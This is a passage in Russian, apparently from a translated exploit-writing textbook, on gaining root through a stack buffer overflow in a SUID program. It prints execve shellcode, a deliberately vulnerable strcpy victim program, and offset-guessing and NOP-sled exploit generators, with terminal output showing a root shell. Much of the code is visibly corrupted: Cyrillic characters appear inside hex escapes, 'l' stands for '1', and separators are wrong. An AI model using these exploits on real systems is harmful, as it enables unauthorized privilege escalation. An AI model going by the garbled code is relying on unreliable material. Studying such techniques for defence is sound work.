Переполнение такого рода обычно используется для получения root-привилегий (uid 0). Для этого вы атакуете процесс, работающий с правами root, и заставляете его запустить командный процессор (shell) системной функцией execve. Если процесс работает с правами root, вы получаете командный процессор с правами root. Такой тип локального переполнения становится все более популярным, поскольку все меньше программ работает с правами root — после эксплуатации их уязвимостей часто удается с помощью локального эксплойта получить доступ на уровне root.
Запуск командного процессора с правами root — не единственное, что можно сделать путем эксплуатации уязвимостей программы. Но пока достаточно сказать, что запуск привилегированного командного процессора до сих пор остается одним из самых доступных и распространенных приемов.
На самом деле все несколько сложнее, чем кажется на первый взгляд. В коде запуска привилегированного командного процессора используется системная функция execve. На языке C++ аналогичный фрагмент выглядит примерно так:
int main(){
char *name[2];
name[0] = "/bin/sh";
name[l] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}
Если откомпилировать программу и выполнить ее, она запустит командный процессор:
[jack@0day local]$ gcc shell.с -о shell
[jack@0day local]$./shell
sh-2.05b#
Все это, конечно, замечательно, но как внедрить код С в уязвимую область ввода? Можно ли ввести его с клавиатуры, как символы А? Нет, нельзя. Задача внедрения кода С гораздо сложнее. В уязвимую область ввода должны внедряться низкоуровневые машинные команды, а для этого код запуска командного процессора придется перевести на ассемблер и извлечь из распечатки коды команд. Это долгий и непростой процесс.
Сейчас мы не будем подробно рассматривать процедуру создания внедряемого кода в C++. Внедряемый код для приведенного выше фрагмента на C++, запускающего командный процессор, выглядит так:
“\xeb\xla\x5e\x31\xcO\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46”
”\x0c\xb0\x0b\x89\xfЗ\x8d\x4e\x08\x8d\x5б\x0c\xcct\x80\xe8\xel”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\”
Мы имеем внедряемый код запуска командного процессора, который можно записать в уязвимый буфер. Но чтобы внедренный код мог выполниться, необходимо перехватить управление. Для этого будет использоваться прием, уже знакомый нам по предыдущему примеру, где мы заставили приложение повторно запросить входные данные у пользователя. Мы заменим адрес возврата своим адресом и загрузим его в ЕIР, что приведет к выполнению находящейся по этому адресу команды. Но какой адрес нужно записывать на место адреса возврата? Конечно, первый адрес нашего внедряемого кода. В этом случае после извлечения адреса возврата из стека и его загрузки в EIP первой выполненной командой будет первая команда внедряемого кода.
Несмотря на внешнюю простоту, реализовать подобную схему на практике довольно трудно. Рассмотрим некоторые распространенные проблемы.
Проблема адресации
Одна из самых сложных задач, возникающих при попытке организовать выполнение пользовательского внедренного кода, — идентификация начального адреса. За долгие годы было разработано немало разных приемов. Мы опишем самый распространенный метод, предложенный в уже упоминавшейся статье «Smashing the Stack».
Чтобы узнать адрес внедряемого кода, можно попытаться угадать, где он находится в памяти. Процесс подбора будет не совсем случайным, потому что мы знаем, что во всех программах стек начинается с одного и того же адреса. Зная этот адрес, можно попробовать предположить, на какое расстояние внедряемый код удален от начального адреса.
Написать программу для определения адреса не так уж сложно. Зная адрес ESP, остается лишь подобрать смещение первой команды внедряемого кода.
Начнем с получения адреса ESP.
unsigned long find_start(void) {
_asm_ ("movl %esp, %еах")
}
int main(){
printf ("0х%х\n",find_start())
}
Затем пишется маленькая программа для эксплойта:
int main (int argc.char **argv[]){
char little_array[512];
if (argc > 1)
strcpy(little_array.argv[l])
}
Эта простая программа получает входные данные из командной строки и заносит их в массив без проверки границ. Для получения root-привилегий необходимо назначить root владельцем программы и установить бит suid. Если после этого войти в систему в качестве обычного пользователя (не root) и запустить программу, вы получите root-привилегии.
[jack@0day local]$ sudo chown root victim
[jack@0day local]$ sudo chmod +s victim
Теперь напишем программу, которая бы позволяла подобрать смещение от начала программы до первой инструкции внедряемого кода (идея примера позаимствована у Lamagra):
#include <stdlib.h>
#define offset_size 0
#define buffer size 512
char sc[] =
"\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xfЗ\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long find_start(void) {
_asm__("movl %esp, %eax");
}
int main (int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size; bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[l]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() – offset;
printf("Attempting address. 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize, i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0. i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
Сгенерируйте внедряемый код с адресом возврата, запустите эксплойт и передайте ему вывод программы-генератора внедряемого кода. В общем случае мы не знаем правильное смещение, поэтому его придется подбирать до тех пор, пока не запустится командный процессор.
[jack@0day local]$ /attack 500
Using address 0xbfffd768
[jack@0day local]$ /victim $BUF
Ничего не произошло. Это потому, что смещение было недостаточно большим (помните, размер массива составляет 512 байт).
[jack@0day local]$ /attack 800
Using address 0xbfffe7c8
[jack@0day local]$ /victim $BUF
Segmentation fault (core dumped)
На этот раз мы зашли слишком далеко и сгенерировали слишком большое смещение. Процесс подбора правильного смещения может оказаться очень долгим. В случае подбора правильного смещения мы получим такой результат:
[jack@0day local]$./attack 600
Using address 0xbfffea04
[jack@0day local]$ /victim $BUF
sh-2.05# id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
sh-2.05b#
ПРИМЕЧАНИЕ — Программа выполнялась на компьютере с системой Red Hat 9.0. Конкретные результаты зависят от дистрибутива, версии и множества других факторов.
Представленный прием довольно скучен. Вам приходится многократно угадывать смещение, а неправильные предположения иногда приводят к аварийному завершению программы. Для такой маленькой программы это вполне приемлемо, но перезапуск более серьезного приложения иногда требует времени и усилий. Далее рассматривается более эффективный способ использования смещений.
Метод NOP
Подобрать правильное смещение вручную нелегко. А если правильных смещений может быть несколько? Нельзя ли сконструировать внедряемый код так, чтобы перехват управления мог осуществляться по разным смещениям? Несомненно, это ускорит процесс и повысит его эффективность.
Дл я увеличения числа потенциальных смещений можно воспользоваться приемом, который называется методом NOP. Кодом NOP (No Operation) обозначаются команды, обеспечивающие небольшую задержку. В основном они служат для хронометража в ассемблере или как в нашем примере — для создания относительно больших блоков команд, которые ничего не делают. В нашем примере начало внедряемого кода будет заполнено командами NOP. Если предполагаемое смещение «угодит» в любую точку секции NOP, после выполнения всех «пустых» команд NOP процессор в конечном счете доберется до реального кода. Таким образом, нам придется подбирать не точное смещение, а смещение, относящееся к любому адресу в большом блоке NOP. Процесс называется дополнением NOP, или созданием NOP-заполнителя.
Давайте перепишем программу атаки так, чтобы она сначала генерировала NOP-заполнитель, а затем присоединяла к нему внедряемый код. В процессорах IA32 команда NOP обозначается кодом 0x90 (существует масса других команд и их комбинаций, которые могут использоваться для создания эффекта NOP).
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xfЗ\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long get_sp(void) {
_asm__("movl %esp, %eax");
}
void main (int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET; bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[l]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory \n");
exit(0);
}
addr = get_sp() – offset;
printf("Using address. 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize, i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
Запустим новую программу для того же исходного кода и посмотрим, что произойдет.
[jack@0day local]$ /nopattack 600
Using address. 0xbfffdd68
[jack@0day local]$ /victim $BUF
sh-2.05# id
uid=0(root) gid=0(root) groups=0(root).10(wheel)
sh-2 05b#
Впрочем, мы знали, что это смещение должно сработать. Попробуем другие:
[jack@0day local]$ /nopattack 590
Using address; 0xbffff368
[jack@0day local]$./victim $BUF
sh-2.05# id
uid=0(root) gid=0(root) groups=0(root).10(wheel)
sh-2.05b#
На этот раз попадание пришлось в NOP-заполнитель, и все снова получилось. И как далеко можно зайти?
[jack@0day local]$ /nopattack 585
Using address 0xbffffld8
[jack@0day local]$ /victim $BUF
sh-2 05# id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
sh-2.05b#
Даже этот простой пример показывает, что наличие NOP-заполнителя повышает вероятность успеха при подборе в 15-25 раз.